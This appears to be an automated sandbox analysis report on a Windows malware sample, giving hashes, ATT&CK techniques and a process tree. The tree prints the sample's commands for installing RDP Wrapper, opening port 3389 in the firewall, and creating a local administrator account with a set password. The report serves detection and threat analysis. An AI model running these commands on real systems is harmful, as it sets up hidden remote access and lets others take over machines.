d2184ec878d89c46f860fa4c37b4d3ebe4803287d894ae8eabf3e1d28ce322da

Analysis

max time kernel
129s
max time network
66s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
02/10/2024, 06:53

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

file.exe
Size

924KB
MD5

6ceb22aeb317c27cf8a0944ec9634d40
SHA1

235d29feea468488b0f1faa70ac2ce1488ea79d7
SHA256

d2184ec878d89c46f860fa4c37b4d3ebe4803287d894ae8eabf3e1d28ce322da
SHA512

d6afd2c18743a0b1c818ac787417bbf0b033e336056462035f2372feb31e5060a933dca1e107559eb271f6b9ad5093a738c867c39f80ff15d46b4dd34e3346eb
SSDEEP

24576:R5WX0rB7uivDX/CYzQ84GpxkFScTC818:7WcB1PHytJuu

Score

9^/10

discovery evasion persistence privilege_escalation

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Downloads MZ/PE file

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2820	netsh.exe
1644	netsh.exe

Server Software Component: Terminal Services DLL 1 TTPs 1 IoCs

persistence

Terminal Services DLL

T1505.005

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\TermService\Parameters\ServiceDll = "%ProgramFiles%\\RDP Wrapper\\rdpwrap.dll"	RDPWInst.exe

Executes dropped EXE 1 IoCs

pid	Process
2948	RDPWInst.exe

Loads dropped DLL 2 IoCs

pid	Process
308	cmd.exe
2704	Process not Found

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
11	api.ipify.org

Modifies WinLogon 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AllowMultipleTSSessions = "1"	RDPWInst.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files\RDP Wrapper\rdpwrap.ini	RDPWInst.exe
File created	C:\Program Files\RDP Wrapper\rdpwrap.dll	RDPWInst.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	file.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RDPWInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe

Runs net.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
2704	Process not Found
2704	Process not Found
2704	Process not Found
2704	Process not Found
2704	Process not Found

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2476	file.exe
Token: SeDebugPrivilege	2948	RDPWInst.exe

Suspicious use of WriteProcessMemory 59 IoCs

description	pid	Process	procid_target
PID 2476 wrote to memory of 308	2476	file.exe	30
PID 2476 wrote to memory of 308	2476	file.exe	30
PID 2476 wrote to memory of 308	2476	file.exe	30
PID 2476 wrote to memory of 308	2476	file.exe	30
PID 308 wrote to memory of 2948	308	cmd.exe	32
PID 308 wrote to memory of 2948	308	cmd.exe	32
PID 308 wrote to memory of 2948	308	cmd.exe	32
PID 308 wrote to memory of 2948	308	cmd.exe	32
PID 308 wrote to memory of 2948	308	cmd.exe	32
PID 308 wrote to memory of 2948	308	cmd.exe	32
PID 308 wrote to memory of 2948	308	cmd.exe	32
PID 2948 wrote to memory of 2820	2948	RDPWInst.exe	34
PID 2948 wrote to memory of 2820	2948	RDPWInst.exe	34
PID 2948 wrote to memory of 2820	2948	RDPWInst.exe	34
PID 2948 wrote to memory of 2820	2948	RDPWInst.exe	34
PID 2476 wrote to memory of 2836	2476	file.exe	36
PID 2476 wrote to memory of 2836	2476	file.exe	36
PID 2476 wrote to memory of 2836	2476	file.exe	36
PID 2476 wrote to memory of 2836	2476	file.exe	36
PID 2836 wrote to memory of 2504	2836	cmd.exe	38
PID 2836 wrote to memory of 2504	2836	cmd.exe	38
PID 2836 wrote to memory of 2504	2836	cmd.exe	38
PID 2836 wrote to memory of 2504	2836	cmd.exe	38
PID 2504 wrote to memory of 2360	2504	net.exe	39
PID 2504 wrote to memory of 2360	2504	net.exe	39
PID 2504 wrote to memory of 2360	2504	net.exe	39
PID 2504 wrote to memory of 2360	2504	net.exe	39
PID 2476 wrote to memory of 588	2476	file.exe	40
PID 2476 wrote to memory of 588	2476	file.exe	40
PID 2476 wrote to memory of 588	2476	file.exe	40
PID 2476 wrote to memory of 588	2476	file.exe	40
PID 588 wrote to memory of 1824	588	cmd.exe	42
PID 588 wrote to memory of 1824	588	cmd.exe	42
PID 588 wrote to memory of 1824	588	cmd.exe	42
PID 588 wrote to memory of 1824	588	cmd.exe	42
PID 1824 wrote to memory of 1696	1824	net.exe	43
PID 1824 wrote to memory of 1696	1824	net.exe	43
PID 1824 wrote to memory of 1696	1824	net.exe	43
PID 1824 wrote to memory of 1696	1824	net.exe	43
PID 2476 wrote to memory of 1524	2476	file.exe	44
PID 2476 wrote to memory of 1524	2476	file.exe	44
PID 2476 wrote to memory of 1524	2476	file.exe	44
PID 2476 wrote to memory of 1524	2476	file.exe	44
PID 1524 wrote to memory of 1644	1524	cmd.exe	46
PID 1524 wrote to memory of 1644	1524	cmd.exe	46
PID 1524 wrote to memory of 1644	1524	cmd.exe	46
PID 1524 wrote to memory of 1644	1524	cmd.exe	46
PID 2476 wrote to memory of 1648	2476	file.exe	47
PID 2476 wrote to memory of 1648	2476	file.exe	47
PID 2476 wrote to memory of 1648	2476	file.exe	47
PID 2476 wrote to memory of 1648	2476	file.exe	47
PID 1648 wrote to memory of 2116	1648	cmd.exe	49
PID 1648 wrote to memory of 2116	1648	cmd.exe	49
PID 1648 wrote to memory of 2116	1648	cmd.exe	49
PID 1648 wrote to memory of 2116	1648	cmd.exe	49
PID 2116 wrote to memory of 2700	2116	net.exe	50
PID 2116 wrote to memory of 2700	2116	net.exe	50
PID 2116 wrote to memory of 2700	2116	net.exe	50
PID 2116 wrote to memory of 2700	2116	net.exe	50

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2476
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\RDPWInst.exe" -i
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:308
- - C:\Users\Admin\AppData\Local\Temp\RDPWInst.exe
    C:\Users\Admin\AppData\Local\Temp\RDPWInst.exe -i
    3⤵
    - Server Software Component: Terminal Services DLL
    - Executes dropped EXE
    - Modifies WinLogon
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2948
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:2820
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c net user JaylenHeaney DvRpcDabX1iF /add
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2836
- - C:\Windows\SysWOW64\net.exe
    net user JaylenHeaney DvRpcDabX1iF /add
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2504
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user JaylenHeaney DvRpcDabX1iF /add
      4⤵
      System Location Discovery: System Language Discovery
      PID:2360
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c net localgroup
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:588
- - C:\Windows\SysWOW64\net.exe
    net localgroup
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1824
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 localgroup
      4⤵
      System Location Discovery: System Language Discovery
      PID:1696
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=tcp localport=3389
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1524
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=tcp localport=3389
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:1644
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c net localgroup "Administrators" JaylenHeaney /add
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1648
- - C:\Windows\SysWOW64\net.exe
    net localgroup "Administrators" JaylenHeaney /add
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2116
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 localgroup "Administrators" JaylenHeaney /add
      4⤵
      System Location Discovery: System Language Discovery
      PID:2700

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Server Software Component

T1505

Terminal Services DLL

T1505.005

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Credential Access

Discovery

Permission Groups Discovery

T1069

Local Groups

T1069.001

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

\Program Files\RDP Wrapper\rdpwrap.dll

Filesize
114KB

MD5
461ade40b800ae80a40985594e1ac236

SHA1
b3892eef846c044a2b0785d54a432b3e93a968c8

SHA256
798af20db39280f90a1d35f2ac2c1d62124d1f5218a2a0fa29d87a13340bd3e4

SHA512
421f9060c4b61fa6f4074508602a2639209032fd5df5bfc702a159e3bad5479684ccb3f6e02f3e38fb8db53839cf3f41fe58a3acad6ec1199a48dc333b2d8a26

Download Submit
\Users\Admin\AppData\Local\Temp\RDPWInst.exe

Filesize
1.7MB

MD5
c213162c86bb943bcdf91b3df381d2f6

SHA1
8ec200e2d836354a62f16cdb3eed4bb760165425

SHA256
ac91b2a2db1909a2c166e243391846ad8d9ede2c6fcfd33b60acf599e48f9afc

SHA512
b3ead28bb1f4b87b0c36c129864a8af34fc11e5e9feaa047d4ca0525bec379d07c8efee259ede8832b65b3c03ef4396c9202989249199f7037d56439187f147b

Download Submit
memory/2476-0-0x000000007413E000-0x000000007413F000-memory.dmp

Filesize
4KB

Download
memory/2476-1-0x0000000000F70000-0x000000000105C000-memory.dmp

Filesize
944KB

Download
memory/2476-2-0x00000000001E0000-0x00000000001F8000-memory.dmp

Filesize
96KB

Download
memory/2476-3-0x0000000074130000-0x000000007481E000-memory.dmp

Filesize
6.9MB

Download
memory/2476-4-0x0000000004EF0000-0x0000000005148000-memory.dmp

Filesize
2.3MB

Download
memory/2476-13-0x000000007413E000-0x000000007413F000-memory.dmp

Filesize
4KB

Download
memory/2476-14-0x0000000074130000-0x000000007481E000-memory.dmp

Filesize
6.9MB

Download
memory/2476-17-0x0000000074130000-0x000000007481E000-memory.dmp

Filesize
6.9MB

Download
memory/2948-12-0x0000000000400000-0x00000000005BE000-memory.dmp

Filesize
1.7MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads